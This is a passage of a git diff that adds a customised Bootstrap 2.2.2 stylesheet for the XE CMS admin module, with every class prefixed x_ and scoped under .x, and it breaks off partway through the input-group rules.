                    + {$lang->detail_use_mobile_icon} +
                    + +
                    +
                    + +
                    +
                    - + + + + + diff --git a/modules/admin/tpl/css/admin.bootstrap.css b/modules/admin/tpl/css/admin.bootstrap.css new file mode 100644 index 000000000..9e2ac1360 --- /dev/null +++ b/modules/admin/tpl/css/admin.bootstrap.css @@ -0,0 +1,1594 @@ +@charset "utf-8"; +/*! + * Bootstrap v2.2.2 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + * + * This file is customized for XE admin. + */ +.x{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;line-height:20px;color:#333} +.x article, +.x aside, +.x details, +.x figcaption, +.x figure, +.x footer, +.x header, +.x hgroup, +.x nav, +.x section{display:block} +.x audio, +.x canvas, +.x video{display:inline-block;*display:inline;*zoom:1} +.x audio:not([controls]){display:none} +.x a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x a:hover, +.x a:active{outline:0} +.x sub, +.x sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline} +.x sup{top:-0.5em} +.x sub{bottom:-0.25em} +.x img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic} +.x #map_canvas img, +.x .google-maps img{max-width:none} +.x button, +.x input, +.x select, +.x textarea{margin:0;font-size:100%;vertical-align:middle} +.x button, +.x input{*overflow:visible} +.x button::-moz-focus-inner, +.x input::-moz-focus-inner{padding:0;border:0} +.x button, +.x input[type="button"], +.x input[type="reset"], +.x input[type="submit"]{cursor:pointer;-webkit-appearance:button} +.x label, +.x select, +.x button, +.x input[type="button"], +.x input[type="reset"], +.x input[type="submit"], +.x input[type="radio"], +.x input[type="checkbox"]{cursor:pointer} +.x input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield} +.x input[type="search"]::-webkit-search-decoration, +.x input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none} +.x textarea{overflow:auto;vertical-align:top} +@media print{ +.x *{color:#000 !important;text-shadow:none !important;background:transparent !important;box-shadow:none !important} +.x a, +.x a:visited{text-decoration:underline} +.x a[href]:after{content:"("attr(href)")"} +.x abbr[title]:after{content:"("attr(title)")"} +.x .x_ir a:after, +.x a[href^="javascript:"]:after, +.x a[href^="#"]:after{content:""} +.x pre, +.x blockquote{border:1px solid #999;page-break-inside:avoid} +.x thead{display:table-header-group} +.x tr, +.x img{page-break-inside:avoid} +.x img{max-width:100% !important} +@page{margin:0.5cm} +.x p, +.x h2, +.x h3{orphans:3;widows:3} +.x h2, +.x h3{page-break-after:avoid} +} +.x .x_clearfix{*zoom:1} +.x .x_clearfix:before, +.x .x_clearfix:after{display:table;line-height:0;content:""} +.x .x_clearfix:after{clear:both} +.x .x_hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0} +.x .x_input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x a{color:#0088cc;text-decoration:none} +.x a:hover{color:#005580;text-decoration:underline} +.x .x_img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);-moz-box-shadow:0 1px 3px rgba(0, 0, 0, 0.1);box-shadow:0 1px 3px rgba(0, 0, 0, 0.1)} +.x .x_img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px} +.x .x_row{margin-left:-20px;*zoom:1} +.x .x_row:before, +.x .x_row:after{display:table;line-height:0;content:""} +.x .x_row:after{clear:both} +.x [class*="x_span"]{float:left;min-height:1px;margin-left:20px} +.x .x_container, +.x .x_navbar-static-top .x_container, +.x .x_navbar-fixed-top .x_container, +.x .x_navbar-fixed-bottom .x_container{width:940px} +.x .x_span12{width:940px} +.x .x_span11{width:860px} +.x .x_span10{width:780px} +.x .x_span9{width:700px} +.x .x_span8{width:620px} +.x .x_span7{width:540px} +.x .x_span6{width:460px} +.x .x_span5{width:380px} +.x .x_span4{width:300px} +.x .x_span3{width:220px} +.x .x_span2{width:140px} +.x .x_span1{width:60px} +.x .x_offset12{margin-left:980px} +.x .x_offset11{margin-left:900px} +.x .x_offset10{margin-left:820px} +.x .x_offset9{margin-left:740px} +.x .x_offset8{margin-left:660px} +.x .x_offset7{margin-left:580px} +.x .x_offset6{margin-left:500px} +.x .x_offset5{margin-left:420px} +.x .x_offset4{margin-left:340px} +.x .x_offset3{margin-left:260px} +.x .x_offset2{margin-left:180px} +.x .x_offset1{margin-left:100px} +.x .x_row-fluid{width:100%;*zoom:1} +.x .x_row-fluid:before, +.x .x_row-fluid:after{display:table;line-height:0;content:""} +.x .x_row-fluid:after{clear:both} +.x .x_row-fluid [class*="x_span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box} +.x .x_row-fluid [class*="x_span"]:first-child{margin-left:0} +.x .x_row-fluid .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:2.127659574468085%} +.x .x_row-fluid .x_span12{width:100%;*width:99.94680851063829%} +.x .x_row-fluid .x_span11{width:91.48936170212765%;*width:91.43617021276594%} +.x .x_row-fluid .x_span10{width:82.97872340425532%;*width:82.92553191489361%} +.x .x_row-fluid .x_span9{width:74.46808510638297%;*width:74.41489361702126%} +.x .x_row-fluid .x_span8{width:65.95744680851064%;*width:65.90425531914893%} +.x .x_row-fluid .x_span7{width:57.44680851063829%;*width:57.39361702127659%} +.x .x_row-fluid .x_span6{width:48.93617021276595%;*width:48.88297872340425%} +.x .x_row-fluid .x_span5{width:40.42553191489362%;*width:40.37234042553192%} +.x .x_row-fluid .x_span4{width:31.914893617021278%;*width:31.861702127659576%} +.x .x_row-fluid .x_span3{width:23.404255319148934%;*width:23.351063829787233%} +.x .x_row-fluid .x_span2{width:14.893617021276595%;*width:14.840425531914894%} +.x .x_row-fluid .x_span1{width:6.382978723404255%;*width:6.329787234042553%} +.x .x_row-fluid .x_offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%} +.x .x_row-fluid .x_offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%} +.x .x_row-fluid .x_offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%} +.x .x_row-fluid .x_offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%} +.x .x_row-fluid .x_offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%} +.x .x_row-fluid .x_offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%} +.x .x_row-fluid .x_offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%} +.x .x_row-fluid .x_offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%} +.x .x_row-fluid .x_offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%} +.x .x_row-fluid .x_offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%} +.x .x_row-fluid .x_offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%} +.x .x_row-fluid .x_offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%} +.x .x_row-fluid .x_offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%} +.x .x_row-fluid .x_offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%} +.x .x_row-fluid .x_offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%} +.x .x_row-fluid .x_offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%} +.x .x_row-fluid .x_offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%} +.x .x_row-fluid .x_offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%} +.x .x_row-fluid .x_offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%} +.x .x_row-fluid .x_offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%} +.x .x_row-fluid .x_offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%} +.x .x_row-fluid .x_offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%} +.x .x_row-fluid .x_offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%} +.x .x_row-fluid .x_offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%} +.x [class*="x_span"].x_hide, +.x .x_row-fluid [class*="x_span"].x_hide{display:none} +.x [class*="x_span"].x_pull-right, +.x .x_row-fluid [class*="x_span"].x_pull-right{float:right} +.x .x_container{margin-right:auto;margin-left:auto;*zoom:1} +.x .x_container:before, +.x .x_container:after{display:table;line-height:0;content:""} +.x .x_container:after{clear:both} +.x .x_container-fluid{padding-right:20px;padding-left:20px;*zoom:1} +.x .x_container-fluid:before, +.x .x_container-fluid:after{display:table;line-height:0;content:""} +.x .x_container-fluid:after{clear:both} +.x p{margin:0 0 10px} +.x .x_lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px} +.x small{font-size:85%} +.x strong{font-weight:bold} +.x em{font-style:italic} +.x cite{font-style:normal} +.x .x_muted{color:#999999} +.x a.x_muted:hover{color:#808080} +.x .x_text-warning{color:#c09853} +.x a.x_text-warning:hover{color:#a47e3c} +.x .x_text-error{color:#b94a48} +.x a.x_text-error:hover{color:#953b39} +.x .x_text-info{color:#3a87ad} +.x a.x_text-info:hover{color:#2d6987} +.x .x_text-success{color:#468847} +.x a.x_text-success:hover{color:#356635} +.x h1, +.x h2, +.x h3, +.x h4, +.x h5, +.x h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility} +.x h1 small, +.x h2 small, +.x h3 small, +.x h4 small, +.x h5 small, +.x h6 small{font-weight:normal;line-height:1;color:#999999} +.x h1, +.x h2, +.x h3{line-height:40px} +.x h1{font-size:38.5px} +.x h2{font-size:31.5px} +.x h3{font-size:24.5px} +.x h4{font-size:17.5px} +.x h5{font-size:14px} +.x h6{font-size:11.9px} +.x h1 small{font-size:24.5px} +.x h2 small{font-size:17.5px} +.x h3 small{font-size:14px} +.x h4 small{font-size:14px} +.x .x_page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eeeeee} +.x ul, +.x ol{padding:0;margin:0 0 10px 25px} +.x ul ul, +.x ul ol, +.x ol ol, +.x ol ul{margin-bottom:0} +.x li{line-height:20px} +.x ul.x_unstyled, +.x ol.x_unstyled{margin-left:0;list-style:none} +.x ul.x_inline, +.x ol.x_inline{margin-left:0;list-style:none} +.x ul.x_inline>li, +.x ol.x_inline>li{display:inline-block;padding-right:5px;padding-left:5px} +.x dl{margin-bottom:20px} +.x dt, +.x dd{line-height:20px} +.x dt{font-weight:bold} +.x dd{margin-left:10px} +.x .x_dl-horizontal{*zoom:1} +.x .x_dl-horizontal:before, +.x .x_dl-horizontal:after{display:table;line-height:0;content:""} +.x .x_dl-horizontal:after{clear:both} +.x .x_dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap} +.x .x_dl-horizontal dd{margin-left:180px} +.x hr{margin:20px 0;border:0;border-top:1px solid #eeeeee;border-bottom:1px solid #ffffff} +.x abbr[title], +.x abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999999} +.x abbr.x_initialism{font-size:90%;text-transform:uppercase} +.x blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eeeeee} +.x blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px} +.x blockquote small{display:block;line-height:20px;color:#999999} +.x blockquote small:before{content:'\2014 \00A0'} +.x blockquote.x_pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eeeeee;border-left:0} +.x blockquote.x_pull-right p, +.x blockquote.x_pull-right small{text-align:right} +.x blockquote.x_pull-right small:before{content:''} +.x blockquote.x_pull-right small:after{content:'\00A0 \2014'} +.x q:before, +.x q:after, +.x blockquote:before, +.x blockquote:after{content:""} +.x address{display:block;margin-bottom:20px;font-style:normal;line-height:20px} +.x code, +.x pre{padding:0 3px 2px;font-family:Monaco, Menlo, Consolas, "Courier New", monospace;font-size:12px;color:#333333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px} +.x code{padding:2px 4px;color:#d14;white-space:nowrap;background-color:#f7f7f9;border:1px solid #e1e1e8} +.x pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x pre.x_prettyprint{margin-bottom:20px} +.x pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0} +.x .x_pre-scrollable{max-height:340px;overflow-y:scroll} +.x form{margin:0 0 20px} +.x fieldset{padding:0;margin:0;border:0} +.x legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333333;border:0;border-bottom:1px solid #e5e5e5} +.x legend small{font-size:15px;color:#999999} +.x label, +.x input, +.x button, +.x select, +.x textarea{font-size:14px;font-weight:normal} +.x input, +.x button, +.x select, +.x textarea{font-family:"Helvetica Neue", Helvetica, Arial, sans-serif} +.x label{display:block;margin-bottom:5px} +.x select, +.x textarea, +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"], +.x .x_uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555555;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px} +.x input, +.x textarea, +.x .x_uneditable-input{width:206px} +.x textarea{height:auto} +.x textarea, +.x input[type="text"], +.x input[type="password"], +.x input[type="datetime"], +.x input[type="datetime-local"], +.x input[type="date"], +.x input[type="month"], +.x input[type="time"], +.x input[type="week"], +.x input[type="number"], +.x input[type="email"], +.x input[type="url"], +.x input[type="search"], +.x input[type="tel"], +.x input[type="color"], +.x .x_uneditable-input{background-color:#ffffff;border:1px solid #cccccc;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-webkit-transition:border linear 0.2s, box-shadow linear 0.2s;-moz-transition:border linear 0.2s, box-shadow linear 0.2s;-o-transition:border linear 0.2s, box-shadow linear 0.2s;transition:border linear 0.2s, box-shadow linear 0.2s} +.x textarea:focus, +.x input[type="text"]:focus, +.x input[type="password"]:focus, +.x input[type="datetime"]:focus, +.x input[type="datetime-local"]:focus, +.x input[type="date"]:focus, +.x input[type="month"]:focus, +.x input[type="time"]:focus, +.x input[type="week"]:focus, +.x input[type="number"]:focus, +.x input[type="email"]:focus, +.x input[type="url"]:focus, +.x input[type="search"]:focus, +.x input[type="tel"]:focus, +.x input[type="color"]:focus, +.x .x_uneditable-input:focus{border-color:rgba(82, 168, 236, 0.8);outline:0;outline:thin dotted \9; /* IE6-9 */ -webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6)} +.x input[type="radio"], +.x input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;*margin-top:0;line-height:normal} +.x input[type="file"], +.x input[type="image"], +.x input[type="submit"], +.x input[type="reset"], +.x input[type="button"], +.x input[type="radio"], +.x input[type="checkbox"]{width:auto} +.x select, +.x input[type="file"]{height:30px; /* In IE7, the height of the select element cannot be changed by height, only font-size */ *margin-top:4px; /* For IE7, add top margin to align select with labels */ line-height:30px} +.x select{width:220px;background-color:#ffffff;border:1px solid #cccccc} +.x select[multiple], +.x select[size]{height:auto} +.x select:focus, +.x input[type="file"]:focus, +.x input[type="radio"]:focus, +.x input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px} +.x .x_uneditable-input, +.x .x_uneditable-textarea{color:#999999;cursor:not-allowed;background-color:#fcfcfc;border-color:#cccccc;-webkit-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);-moz-box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025);box-shadow:inset 0 1px 2px rgba(0, 0, 0, 0.025)} +.x .x_uneditable-input{overflow:hidden;white-space:nowrap} +.x .x_uneditable-textarea{width:auto;height:auto} +.x input:-moz-placeholder, +.x textarea:-moz-placeholder{color:#999999} +.x input:-ms-input-placeholder, +.x textarea:-ms-input-placeholder{color:#999999} +.x input::-webkit-input-placeholder, +.x textarea::-webkit-input-placeholder{color:#999999} +.x .x_radio, +.x .x_checkbox{min-height:20px;padding-left:20px} +.x .x_radio input[type="radio"], +.x .x_checkbox input[type="checkbox"]{float:left;margin-left:-20px} +.x .x_controls>.x_radio:first-child, +.x .x_controls>.x_checkbox:first-child{padding-top:5px} +.x .x_radio.x_inline, +.x .x_checkbox.x_inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle} +.x .x_radio.x_inline+.x_radio.x_inline, +.x .x_checkbox.x_inline+.x_checkbox.x_inline{margin-left:10px} +.x .x_input-mini{width:60px} +.x .x_input-small{width:90px} +.x .x_input-medium{width:150px} +.x .x_input-large{width:210px} +.x .x_input-xlarge{width:270px} +.x .x_input-xxlarge{width:530px} +.x input[class*="x_span"], +.x select[class*="x_span"], +.x textarea[class*="x_span"], +.x .x_uneditable-input[class*="x_span"], +.x .x_row-fluid input[class*="x_span"], +.x .x_row-fluid select[class*="x_span"], +.x .x_row-fluid textarea[class*="x_span"], +.x .x_row-fluid .x_uneditable-input[class*="x_span"]{float:none;margin-left:0} +.x .x_input-append input[class*="x_span"], +.x .x_input-append .x_uneditable-input[class*="x_span"], +.x .x_input-prepend input[class*="x_span"], +.x .x_input-prepend .x_uneditable-input[class*="x_span"], +.x .x_row-fluid input[class*="x_span"], +.x .x_row-fluid select[class*="x_span"], +.x .x_row-fluid textarea[class*="x_span"], +.x .x_row-fluid .x_uneditable-input[class*="x_span"], +.x .x_row-fluid .x_input-prepend [class*="x_span"], +.x .x_row-fluid .x_input-append [class*="x_span"]{display:inline-block} +.x input, +.x textarea, +.x .x_uneditable-input{margin-left:0} +.x .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:20px} +.x input.x_span12, +.x textarea.x_span12, +.x .x_uneditable-input.x_span12{width:926px} +.x input.x_span11, +.x textarea.x_span11, +.x .x_uneditable-input.x_span11{width:846px} +.x input.x_span10, +.x textarea.x_span10, +.x .x_uneditable-input.x_span10{width:766px} +.x input.x_span9, +.x textarea.x_span9, +.x .x_uneditable-input.x_span9{width:686px} +.x input.x_span8, +.x textarea.x_span8, +.x .x_uneditable-input.x_span8{width:606px} +.x input.x_span7, +.x textarea.x_span7, +.x .x_uneditable-input.x_span7{width:526px} +.x input.x_span6, +.x textarea.x_span6, +.x .x_uneditable-input.x_span6{width:446px} +.x input.x_span5, +.x textarea.x_span5, +.x .x_uneditable-input.x_span5{width:366px} +.x input.x_span4, +.x textarea.x_span4, +.x .x_uneditable-input.x_span4{width:286px} +.x input.x_span3, +.x textarea.x_span3, +.x .x_uneditable-input.x_span3{width:206px} +.x input.x_span2, +.x textarea.x_span2, +.x .x_uneditable-input.x_span2{width:126px} +.x input.x_span1, +.x textarea.x_span1, +.x .x_uneditable-input.x_span1{width:46px} +.x .x_controls-row{*zoom:1} +.x .x_controls-row:before, +.x .x_controls-row:after{display:table;line-height:0;content:""} +.x .x_controls-row:after{clear:both} +.x .x_controls-row [class*="x_span"], +.x .x_row-fluid .x_controls-row [class*="x_span"]{float:left} +.x .x_controls-row .x_checkbox[class*="x_span"], +.x .x_controls-row .x_radio[class*="x_span"]{padding-top:5px} +.x input[disabled], +.x select[disabled], +.x textarea[disabled], +.x input[readonly], +.x select[readonly], +.x textarea[readonly]{cursor:not-allowed;background-color:#eeeeee} +.x input[type="radio"][disabled], +.x input[type="checkbox"][disabled], +.x input[type="radio"][readonly], +.x input[type="checkbox"][readonly]{background-color:transparent} +.x .x_control-group.x_warning .x_control-label, +.x .x_control-group.x_warning .x_help-block, +.x .x_control-group.x_warning .x_help-inline{color:#c09853} +.x .x_control-group.x_warning .x_checkbox, +.x .x_control-group.x_warning .x_radio, +.x .x_control-group.x_warning input, +.x .x_control-group.x_warning select, +.x .x_control-group.x_warning textarea{color:#c09853} +.x .x_control-group.x_warning input, +.x .x_control-group.x_warning select, +.x .x_control-group.x_warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_warning input:focus, +.x .x_control-group.x_warning select:focus, +.x .x_control-group.x_warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e} +.x .x_control-group.x_warning .x_input-prepend .x_add-on, +.x .x_control-group.x_warning .x_input-append .x_add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853} +.x .x_control-group.x_error .x_control-label, +.x .x_control-group.x_error .x_help-block, +.x .x_control-group.x_error .x_help-inline{color:#b94a48} +.x .x_control-group.x_error .x_checkbox, +.x .x_control-group.x_error .x_radio, +.x .x_control-group.x_error input, +.x .x_control-group.x_error select, +.x .x_control-group.x_error textarea{color:#b94a48} +.x .x_control-group.x_error input, +.x .x_control-group.x_error select, +.x .x_control-group.x_error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_error input:focus, +.x .x_control-group.x_error select:focus, +.x .x_control-group.x_error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392} +.x .x_control-group.x_error .x_input-prepend .x_add-on, +.x .x_control-group.x_error .x_input-append .x_add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48} +.x .x_control-group.x_success .x_control-label, +.x .x_control-group.x_success .x_help-block, +.x .x_control-group.x_success .x_help-inline{color:#468847} +.x .x_control-group.x_success .x_checkbox, +.x .x_control-group.x_success .x_radio, +.x .x_control-group.x_success input, +.x .x_control-group.x_success select, +.x .x_control-group.x_success textarea{color:#468847} +.x .x_control-group.x_success input, +.x .x_control-group.x_success select, +.x .x_control-group.x_success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_success input:focus, +.x .x_control-group.x_success select:focus, +.x .x_control-group.x_success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b} +.x .x_control-group.x_success .x_input-prepend .x_add-on, +.x .x_control-group.x_success .x_input-append .x_add-on{color:#468847;background-color:#dff0d8;border-color:#468847} +.x .x_control-group.x_info .x_control-label, +.x .x_control-group.x_info .x_help-block, +.x .x_control-group.x_info .x_help-inline{color:#3a87ad} +.x .x_control-group.x_info .x_checkbox, +.x .x_control-group.x_info .x_radio, +.x .x_control-group.x_info input, +.x .x_control-group.x_info select, +.x .x_control-group.x_info textarea{color:#3a87ad} +.x .x_control-group.x_info input, +.x .x_control-group.x_info select, +.x .x_control-group.x_info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075)} +.x .x_control-group.x_info input:focus, +.x .x_control-group.x_info select:focus, +.x .x_control-group.x_info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3} +.x .x_control-group.x_info .x_input-prepend .x_add-on, +.x .x_control-group.x_info .x_input-append .x_add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad} +.x input:focus:invalid, +.x textarea:focus:invalid, +.x select:focus:invalid{color:#b94a48;border-color:#ee5f5b} +.x input:focus:invalid:focus, +.x textarea:focus:invalid:focus, +.x select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7} +.x .x_form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1} +.x .x_form-actions:before, +.x .x_form-actions:after{display:table;line-height:0;content:""} +.x .x_form-actions:after{clear:both} +.x .x_help-block, +.x .x_help-inline{color:#595959} +.x .x_help-block{display:block;margin-bottom:10px} +.x .x_help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1} +.x .x_input-append, +.x .x_input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap} +.x .x_input-append input, +.x .x_input-prepend input, +.x .x_input-append select, +.x .x_input-prepend select, +.x .x_input-append .x_uneditable-input, +.x .x_input-prepend .x_uneditable-input, +.x .x_input-append .x_dropdown-menu, +.x .x_input-prepend .x_dropdown-menu{font-size:14px} +.x .x_input-append input, +.x .x_input-prepend input, +.x .x_input-append select, +.x .x_input-prepend select, +.x .x_input-append .x_uneditable-input, +.x .x_input-prepend .x_uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-append input:focus, +.x .x_input-prepend input:focus, +.x .x_input-append select:focus, +.x .x_input-prepend select:focus, +.x .x_input-append .x_uneditable-input:focus, +.x .x_input-prepend .x_uneditable-input:focus{z-index:2} +.x .x_input-append .x_add-on, +.x .x_input-prepend .x_add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #ffffff;background-color:#eeeeee;border:1px solid #ccc} +.x .x_input-append .x_add-on, +.x .x_input-prepend .x_add-on, +.x .x_input-append .x_btn, +.x .x_input-prepend .x_btn, +.x .x_input-append .x_btn-group>.x_dropdown-toggle, +.x .x_input-prepend .x_btn-group>.x_dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_input-append .x_active, +.x .x_input-prepend .x_active{background-color:#a9dba9;border-color:#46a546} +.x .x_input-prepend .x_add-on, +.x .x_input-prepend .x_btn{margin-right:-1px} +.x .x_input-prepend .x_add-on:first-child, +.x .x_input-prepend .x_btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-append input, +.x .x_input-append select, +.x .x_input-append .x_uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px} +.x .x_input-append input+.x_btn-group .x_btn:last-child, +.x .x_input-append select+.x_btn-group .x_btn:last-child, +.x .x_input-append .x_uneditable-input+.x_btn-group .x_btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-append .x_add-on, +.x .x_input-append .x_btn, +.x .x_input-append .x_btn-group{margin-left:-1px} +.x .x_input-append .x_add-on:last-child, +.x .x_input-append .x_btn:last-child, +.x .x_input-append .x_btn-group:last-child>.x_dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0} +.x .x_input-prepend.x_input-append input, +.x .x_input-prepend.x_input-append select, +.x .x_input-prepend.x_input-append .x_uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0} +.x .x_input-prepend.x_input-append input+.x_btn-group .x_btn, +.x .x_input-prepend.x_input-append select+.x_btn-group .x_btn, +.x 